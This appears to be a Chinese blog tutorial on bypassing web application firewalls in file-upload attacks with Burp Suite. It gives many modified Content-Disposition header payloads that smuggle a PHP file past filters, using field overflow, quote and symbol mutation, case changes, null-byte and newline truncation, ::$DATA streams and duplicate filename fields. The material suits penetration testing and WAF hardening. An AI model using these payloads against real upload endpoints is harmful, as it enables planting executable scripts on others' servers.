(24)文件上传【绕WAF】【burpsuite才是王道】数据溢出、符号字符变异……

目录

推荐:

1、Burpsuite好好理解透彻:

2、补充绕过方法:

3、content-type值

文件上传利用之绕过WAF

基本格式:(正常的·)

抓包后对于数据的处理:

数据溢出绕过:

原理:

利用过程:

方法一:在content-disposition:字段里写入无用数据(直达WAF检测不出来)

方法二:重复Content-Disposition字段,将恶意文件放在最后(直到绕过WAF)

方法三:在filename处进行溢出,将恶意文件放在最后(直到绕过WAF)

符号变异绕过:

方法一:在filename后面继续添加数据,让WAF认为还没检测完

方法二:在filename的引号上做文章

方法三:尝试加上各种奇怪符号截断WAF的检查

方法四:在 filename前加上[0x09]

字符变异绕过:

方法一:Content-Disposition的变量值变异绕过

方法二:后缀名大小写绕过

数据截断绕过:

方法一:将后缀换行,或者使用0x0a换行

方法二:%00、0x00、截断

方法三:::$$DATA数据量绕过

方法四:在filename中插入无用数据,混淆上传文件

重复数据绕过:

方法一:重复写一个错误的 filename1

方法二:重写filename

Fuzz字典爆破绕过:


 

推荐:

1、Burpsuite好好理解透彻:

Burpsuite【十二模块一次解决】【这都不看?】Filter、Target、Scanner、Proxy、Intruder、Repeater、Sequencer、Decoder、Comparer…

2、补充绕过方法:

【后端黑白名单绕过】【WEB 漏洞利用/原理】不懂原理都是没灵魂的方法躯壳?文件上传漏洞利用过程

3、content-type值

【MIME类型对照】Content-Type的值

 

文件上传利用之绕过WAF

现在可能会出现绕过WAF的时间比找漏洞的时间还长,真的是难上加难

基本格式:(正常的·)

content-disposition:xxxx; name="upload_file"; filename="xxxx";

content-type: image/jpeg

【MIME类型对照】Content-Type的值

抓包后对于数据的处理:

content-disposition(MIME的扩展,为属性名disposition-type是以什么方式下载):可更改

name(表单参数值):别动他,“他有意大利炮”

filename(文件名):重点针对对象

content-type(Mime值):结合实际情况盘它

数据溢出绕过:

原理:

数据范围都是有限,超过WAF的检测范围就不会往下检测

(就好像前端浏览器输入一样,输入到限制长度就无法再输入,但前端限制可改)

利用过程:

(正常):

content-disposition:form-data; name="upload_file"; filename="xxxx";

content-type: image/jpeg

方法一:在content-disposition:字段里写入无用数据(直达WAF检测不出来)

可以在form-data前面添加无效数据

content-disposition: form-data  qwfasajhchsavhjfxjassbchmvjvxevcssasvad hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmn hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav  hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjs(直达WAF检测不出来)  form-data; name="upload_file"; filename="xxxx.php";

content-type: image/jpeg

也可以在form-data后面添加无效数据

content-disposition: form-data  qwfasajhchsavhjfxjassbchmvjvxevcssasvad hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmn hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjsqwfasajhchsav  hjhegvwchjsvnmcvejgabvxeyfwavcyefwkcbmnsvcyewgchvgegjcbwveyiwcvjs(直达WAF检测不出来) ; name="upload_file"; filename="xxxx.php";

content-type: image/jpeg

方法二:重复Content-Disposition字段,将恶意文件放在最后(直到绕过WAF)

content-disposition:form-data; name="upload_file"; filename="xxxx";

content-disposition:form-data; name="upload_file"; filename="xxxx";

……

content-disposition:form-data; name="upload_file"; filename="x.php";

content-type: image/jpeg

方法三:在filename处进行溢出,将恶意文件放在最后(直到绕过WAF)

content-disposition:form-data; name="upload_file"; filename="vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkccas e vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkc esavcsaxAC  dvdsce vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkc ecsdv dvdsce vgdbcshjvebcvhascbwebckjbxc hewvcnx chjevwcj xn cec.xcne ccwe cewkc e dvdsc x.php";

content-type: image/jpeg

 

符号变异绕过:

方法一:在filename后面继续添加数据,让WAF认为还没检测完

content-disposition:form-data; name="upload_file"; filename="x.php";xxxxxxxxxxxxxx

content-type: image/jpeg

方法二:在filename的引号上做文章

去掉一个",或者删除2个"

(让WAF认为是一个非用户输入的变量)

content-disposition:form-data; name="upload_file"; filename="x.php;

content-type: image/jpeg

改为单引号(WAF可能只检测双引号里面的内容)

content-disposition:form-data; name="upload_file"; filename='x.php';

content-type: image/jpeg

方法三:尝试加上各种奇怪符号截断WAF的检查

但是文件又能被正常执行

content-disposition:form-data; name="upload_file"; filename="x.jpg;/.php";

content-type: image/jpeg

content-disposition:form-data; name="upload_file"; filename="/jpeg;/x.php";

content-type: image/jpeg

方法四:在 filename前加上[0x09]

content-disposition:form-data; name="upload_file"; filename="[0x09]x.php";

content-type: image/jpeg

 

字符变异绕过:

方法一:Content-Disposition的变量值变异绕过

f+orm-data

content-disposition:f+orm-data; name="upload_file"; filename="x.php";

content-type: image/jpeg

丢弃掉form-data

content-disposition: name="upload_file"; filename="x.php";

content-type: image/jpeg

方法二:后缀名大小写绕过

content-disposition:form-data; name="upload_file"; filename="x.PHp";

content-type: image/jpeg

数据截断绕过:

方法一:将后缀换行,或者使用0x0a换行

content-disposition:form-data; name="upload_file"; filename="x

.

p

h

p";

content-type: image/jpeg

方法二:%00、0x00、截断

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制

…… filename="x.php%00/.txt"

……filename="x.php%00/.txt"

(可以在上传时多预留了一个空格占位,再改%00和0x0所对应的hex值,从而达到修改)

方法三:::$$DATA数据量绕过

在php文件名后面加上::$DATA系统会把它当作文件流来进行处理,不会检测文件的后缀名,且保留::$DATA之前的文件名以及后缀

…… filename="x.php::$$DATA"

方法四:在filename中插入无用数据,混淆上传文件

content-disposition:form-data; name="upload_file"; filename="content-disposition:form-data;x.php";

content-type: image/jpeg

(插入混淆数据在里面干扰,误认为x.php没有被接收)

重复数据绕过:

(我感觉这个和数据溢出有异曲同工之妙)

方法一:重复写一个错误的 filename1

content-disposition:form-data; name="upload_file"; filename="x.php"; filename1="x.txt";

content-type: image/jpeg

方法二:重写filename

(以最后一个为准)

content-disposition:form-data; name="upload_file"; filename="x.txt"; filename1="x.txt";filename1="x.txt";……filename1="x.php";

content-type: image/jpeg

 

Fuzz字典爆破绕过:

可以使用智能添加payload(有效载荷)位置,也可手动添加

(实战的主要的运用方法,都是迫不得已才用手工)

工根据选择的攻击类型,和有效载荷类型不同,会有不同的效果

有效载荷可以选择Simple list(简单清单)------->导入自己下载或收集的规则(还可以点击添加,一个一个加上补充的)

  • 8
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值